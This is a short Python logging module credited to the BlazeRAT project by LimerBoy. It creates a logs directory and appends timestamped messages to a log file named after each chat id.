logger.py 657 B

123456789101112131415161718192021222324252627282930
  1. #!/usr/bin/python3
  2. # -*- coding: utf-8 -*-
  3. # Import modules
  4. from time import ctime
  5. from os import path, mkdir
  6. from services.startup import CURRENT_DIRECTORY
  7. """
  8. Author : LimerBoy
  9. github.com/LimerBoy/BlazeRAT
  10. Notes :
  11. The file is needed to record
  12. all actions of all users.
  13. """
  14. LOG_DIR = path.join(CURRENT_DIRECTORY, "logs")
  15. # Create logs dir if not exists
  16. if not path.exists(LOG_DIR):
  17. mkdir(LOG_DIR)
  18. """ Log text to file """
  19. def Log(text: str, chatid: int) -> None:
  20. text = f"{ctime()} - {text}"
  21. file = path.join(LOG_DIR, str(chatid) + ".log")
  22. print(text)
  23. with open(file, "a") as log_file:
  24. log_file.write(text + "\n")